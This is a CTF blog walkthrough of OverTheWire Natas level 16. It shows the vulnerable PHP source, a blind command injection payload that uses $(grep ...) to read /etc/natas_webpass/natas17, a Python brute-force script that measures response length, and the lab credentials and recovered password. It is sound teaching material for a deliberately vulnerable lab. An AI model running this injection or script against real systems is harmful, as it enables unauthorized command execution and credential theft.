Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 15 → 16 tutorial!!

Login

URL: http://natas16.natas.labs.overthewire.org
Credentials: natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

# Using curl (optional):
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo 
  http://natas16.natas.labs.overthewire.org/

homepage


Task

The page lets us search inside a dictionary with grep, but the input is filtered. Characters like ; | & \ ‘ “are blocked — yet$ ( )` are still allowed.

That means we can use command substitution: $( <command> ).


A little bit of Theory

From the source:

if(preg_match('/[;|&`\'"]/', $key)) {
    print "Input contains an illegal character!";
} else {
    passthru("grep -i \"$key\" dictionary.txt");
}
  • passthru() runs our input inside grep.
  • By injecting $(...), we can make grep’s pattern dynamic.
  • Trick: use grep itself to test password prefixes from /etc/natas_webpass/natas17.

Approach

We inject payloads like:

$(grep -E ^<prefix>.* /etc/natas_webpass/natas17)
  • If <prefix> matches the start of the password → inner grep prints the password → outer grep finds no matches → page is short.
  • If not → output is empty → outer grep searches the dictionary normally → page is long.

So by measuring response length, we can brute-force the password.


Solution

Step 1: Manual test

Try:

$(echo test)

You’ll see lots of dictionary matches containing “test”.

probe

Step 2: Automate with Python

import requests, sys
from string import ascii_lowercase, ascii_uppercase, digits

charset = ascii_lowercase + ascii_uppercase + digits
s = requests.Session()
s.auth = ('natas16', 'hPkjKYviLQctEW33QmuXL6eDVfMW4sGo')

password = ""
# adjust if your instance differs
TRUE_LEN = 1105

while len(password) < 32:
    for ch in charset:
        prefix = password + ch
        payload = {'needle': f'$(grep -E ^{prefix}.* /etc/natas_webpass/natas17)'}
        r = s.get('http://natas16.natas.labs.overthewire.org/index.php', params=payload)

        if len(r.text) == TRUE_LEN:
            sys.stdout.write(ch)
            sys.stdout.flush()
            password += ch
            break

script-run


Password

EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

Troubleshooting

  • Getting only “illegal character”? → Make sure payload doesn’t contain blocked symbols.
  • Wrong length? → Print len(r.text) for true/false cases and adjust TRUE_LEN.
  • Script stuck? → Double-check charset and the path /etc/natas_webpass/natas17.

Congrats 🎉 You’ve used a blind command injection oracle to recover the password for natas17!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with